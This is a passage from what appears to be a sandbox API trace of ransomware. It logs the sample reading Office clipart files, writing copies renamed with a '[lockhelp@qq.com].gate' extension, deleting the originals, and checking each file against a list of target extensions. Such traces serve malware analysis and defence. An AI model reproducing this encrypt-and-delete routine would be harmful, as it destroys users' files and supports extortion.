lpOverlapped=0x0) returned 1 [0320.526] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0x16d0, lpOverlapped=0x0) returned 1 [0320.527] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.527] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.527] SetEndOfFile (hFile=0x384) returned 1 [0320.527] CloseHandle (hObject=0x384) returned 1 [0320.528] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.528] SetEndOfFile (hFile=0x34c) returned 1 [0320.528] CloseHandle (hObject=0x34c) returned 1 [0320.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0320.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0320.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0320.529] lstrlenW (lpString=".doc") returned 4 [0320.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.529] lstrlenW (lpString=".docx") returned 5 [0320.529] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.529] lstrlenW (lpString=".pdf") returned 4 [0320.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.529] lstrlenW (lpString=".xls") returned 4 [0320.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.529] lstrlenW (lpString=".xlsx") returned 5 [0320.529] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.529] lstrlenW (lpString=".ppt") returned 4 [0320.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0320.529] lstrlenW (lpString=".zip") returned 4 [0320.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.529] lstrlenW (lpString=".rar") returned 4 [0320.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.529] lstrlenW (lpString=".bz2") returned 4 [0320.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.529] lstrlenW (lpString=".7z") returned 3 [0320.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0320.530] lstrlenW (lpString=".dbf") returned 4 [0320.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0320.530] lstrlenW (lpString=".1cd") returned 4 [0320.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0320.530] lstrlenW (lpString=".jpg") returned 4 [0320.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0320.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0320.530] lstrlenW (lpString=".doc") returned 4 [0320.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.530] lstrlenW (lpString=".docx") returned 5 [0320.530] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.530] lstrlenW (lpString=".pdf") returned 4 [0320.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.530] lstrlenW (lpString=".xls") returned 4 [0320.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.530] lstrlenW (lpString=".xlsx") returned 5 [0320.530] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.530] lstrlenW (lpString=".ppt") returned 4 [0320.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0320.530] lstrlenW (lpString=".zip") returned 4 [0320.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.530] lstrlenW (lpString=".rar") returned 4 [0320.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.530] lstrlenW (lpString=".bz2") returned 4 [0320.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.530] lstrlenW (lpString=".7z") returned 3 [0320.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0320.530] lstrlenW (lpString=".dbf") returned 4 [0320.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0320.531] lstrlenW (lpString=".1cd") returned 4 [0320.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0320.531] lstrlenW (lpString=".jpg") returned 4 [0320.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.531] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.531] lstrlenW (lpString="AN01218_.WMF") returned 12 [0320.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0320.531] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=3012) returned 1 [0320.531] CloseHandle (hObject=0x34c) returned 1 [0320.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 0x220 [0320.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0320.532] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.532] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0320.532] GetLastError () returned 0x0 [0320.532] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0xbc4, lpOverlapped=0x0) returned 1 [0320.533] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0320.534] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.534] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.534] SetEndOfFile (hFile=0x384) returned 1 [0320.534] CloseHandle (hObject=0x384) returned 1 [0320.534] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.534] SetEndOfFile (hFile=0x34c) returned 1 [0320.535] CloseHandle (hObject=0x34c) returned 1 [0320.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.535] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0320.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0320.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0320.535] lstrlenW (lpString=".doc") returned 4 [0320.535] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.535] lstrlenW (lpString=".docx") returned 5 [0320.535] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.535] lstrlenW (lpString=".pdf") returned 4 [0320.535] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.535] lstrlenW (lpString=".xls") returned 4 [0320.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.536] lstrlenW (lpString=".xlsx") returned 5 [0320.536] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.536] lstrlenW (lpString=".ppt") returned 4 [0320.536] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0320.536] lstrlenW (lpString=".zip") returned 4 [0320.536] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.536] lstrlenW (lpString=".rar") returned 4 [0320.536] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.536] lstrlenW (lpString=".bz2") returned 4 [0320.536] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.536] lstrlenW (lpString=".7z") returned 3 [0320.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0320.536] lstrlenW (lpString=".dbf") returned 4 [0320.536] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0320.536] lstrlenW (lpString=".1cd") returned 4 [0320.536] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0320.536] lstrlenW (lpString=".jpg") returned 4 [0320.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0320.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0320.536] lstrlenW (lpString=".doc") returned 4 [0320.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.536] lstrlenW (lpString=".docx") returned 5 [0320.536] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.536] lstrlenW (lpString=".pdf") returned 4 [0320.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.536] lstrlenW (lpString=".xls") returned 4 [0320.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.536] lstrlenW (lpString=".xlsx") returned 5 [0320.537] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.537] lstrlenW (lpString=".ppt") returned 4 [0320.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0320.537] lstrlenW (lpString=".zip") returned 4 [0320.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.537] lstrlenW (lpString=".rar") returned 4 [0320.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.537] lstrlenW (lpString=".bz2") returned 4 [0320.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.537] lstrlenW (lpString=".7z") returned 3 [0320.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0320.537] lstrlenW (lpString=".dbf") returned 4 [0320.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0320.537] lstrlenW (lpString=".1cd") returned 4 [0320.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0320.537] lstrlenW (lpString=".jpg") returned 4 [0320.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.537] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.537] lstrlenW (lpString="AN01251_.WMF") returned 12 [0320.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0320.537] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=2756) returned 1 [0320.537] CloseHandle (hObject=0x34c) returned 1 [0320.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 0x220 [0320.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0320.538] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.538] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0320.538] GetLastError () returned 0x0 [0320.538] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0xac4, lpOverlapped=0x0) returned 1 [0321.063] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xad0, lpOverlapped=0x0) returned 1 [0321.064] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.064] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.064] SetEndOfFile (hFile=0x384) returned 1 [0321.064] CloseHandle (hObject=0x384) returned 1 [0321.064] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.064] SetEndOfFile (hFile=0x34c) returned 1 [0321.065] CloseHandle (hObject=0x34c) returned 1 [0321.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0321.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0321.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0321.065] lstrlenW (lpString=".doc") returned 4 [0321.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.065] lstrlenW (lpString=".docx") returned 5 [0321.066] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.066] lstrlenW (lpString=".pdf") returned 4 [0321.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.066] lstrlenW (lpString=".xls") returned 4 [0321.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.066] lstrlenW (lpString=".xlsx") returned 5 [0321.066] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.066] lstrlenW (lpString=".ppt") returned 4 [0321.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0321.066] lstrlenW (lpString=".zip") returned 4 [0321.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.066] lstrlenW (lpString=".rar") returned 4 [0321.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.066] lstrlenW (lpString=".bz2") returned 4 [0321.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.066] lstrlenW (lpString=".7z") returned 3 [0321.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0321.066] lstrlenW (lpString=".dbf") returned 4 [0321.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0321.066] lstrlenW (lpString=".1cd") returned 4 [0321.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0321.066] lstrlenW (lpString=".jpg") returned 4 [0321.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0321.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0321.066] lstrlenW (lpString=".doc") returned 4 [0321.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.066] lstrlenW (lpString=".docx") returned 5 [0321.067] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.067] lstrlenW (lpString=".pdf") returned 4 [0321.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.067] lstrlenW (lpString=".xls") returned 4 [0321.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.067] lstrlenW (lpString=".xlsx") returned 5 [0321.067] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.067] lstrlenW (lpString=".ppt") returned 4 [0321.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0321.067] lstrlenW (lpString=".zip") returned 4 [0321.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.067] lstrlenW (lpString=".rar") returned 4 [0321.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.067] lstrlenW (lpString=".bz2") returned 4 [0321.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.067] lstrlenW (lpString=".7z") returned 3 [0321.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0321.067] lstrlenW (lpString=".dbf") returned 4 [0321.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0321.067] lstrlenW (lpString=".1cd") returned 4 [0321.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0321.067] lstrlenW (lpString=".jpg") returned 4 [0321.067] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.067] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.068] lstrlenW (lpString="AN04267_.WMF") returned 12 [0321.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0321.068] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=7804) returned 1 [0321.068] CloseHandle (hObject=0x34c) returned 1 [0321.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 0x220 [0321.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0321.068] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.068] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0321.069] GetLastError () returned 0x0 [0321.069] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0321.069] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0321.090] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) 